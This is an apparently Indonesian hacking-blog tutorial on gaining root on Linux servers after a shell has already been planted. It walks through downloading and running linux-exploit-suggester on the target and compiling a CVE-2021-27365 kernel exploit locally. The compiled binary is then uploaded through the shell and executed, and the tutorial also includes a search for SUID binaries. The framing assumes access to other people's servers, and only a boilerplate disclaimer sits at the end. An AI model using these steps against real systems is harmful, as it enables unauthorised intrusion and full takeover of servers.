🔍 Cara Mencari Exploit Rooting Berdasarkan Kernel & Distro Linux
Rooting server bukan hanya soal inject shell dan akses user biasa. Tantangan terbesar dimulai saat ingin escalate ke root. Di artikel ini, kita membagikan tutorial rooting server yang akan mengunakan tool linux-exploit-suggester.sh
(LES) untuk mencari exploit yang cocok.
Tools ini akan membaca informasi kernel target dan menyarankan eksploitasi yang cocok.
kita anggap udah di dalam shell dan masuk ke cmd/ketik di cmd
📌 Step-by-Step
1. Download toolnya:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
2. Ubah permission agar bisa dijalankan:
chmod +x les.sh
3. Jalankan:
bash les.sh📋 Contoh Output
📂 Apa yang Dilakukan LES?
- Membaca kernel target (`uname -a`)
- Mendeteksi distribusi Linux (RHEL, Ubuntu, CentOS, dll)
- Mencocokkan dengan database CVE/PoC
- Memberikan saran exploit yang memiliki peluang sukses tertinggi
⚠️ Kendala:
gcc: Permission denied
Setelah LES memberikan saran exploit, biasanya langkah selanjutnya adalah compile exploit langsung di target. Tapi tidak semua server mengizinkan compile. Kami menemukan exploit CVE-2021-27365 dan sudah punya semua file .c
dan .h
, tapi begitu jalanin:
gcc exploit.c -o pwn
Hasil:
gcc: permission denied!
🔁 Solusi: Compile Manual di Lokal
- Download semua file exploit (*.c dan *.h).
- Compile di lokal:
clang exploit.c leak.c common.c symbols.c send_pdu_oob.c -o exploit-root -lpthread
- Upload binary hasil compile (
exploit-root
) ke target melalui shell. - Jalankan:
chmod +x exploit-root && ./exploit-root
📎 Tips Lanjut
- Gunakan LES versi manual jika tidak tersedia di target:
bash les.sh > result.txt
lalu baca secara offline. - Selalu cek apakah `gcc` atau `clang` tersedia untuk compile exploit.
- Cari path SUID dengan:
find / -perm -4000 -type f 2>/dev/null
ip_tables
), pastikan sudah dimuat: lsmod | grep ip_tables
📘 Referensi
- https://github.com/mzet-/linux-exploit-suggester
- CVE-2021-22555 exploit
- CVE-2021-27365 (linux-iscsi)
⚠️ Disclaimer
This article is intended solely for educational purposes only. The creator shall not be held liable for any misuse, illegal activities, or damages resulting from the unauthorized use of this.
"Where creativity, exploitation, and expression collide." — 6ickZone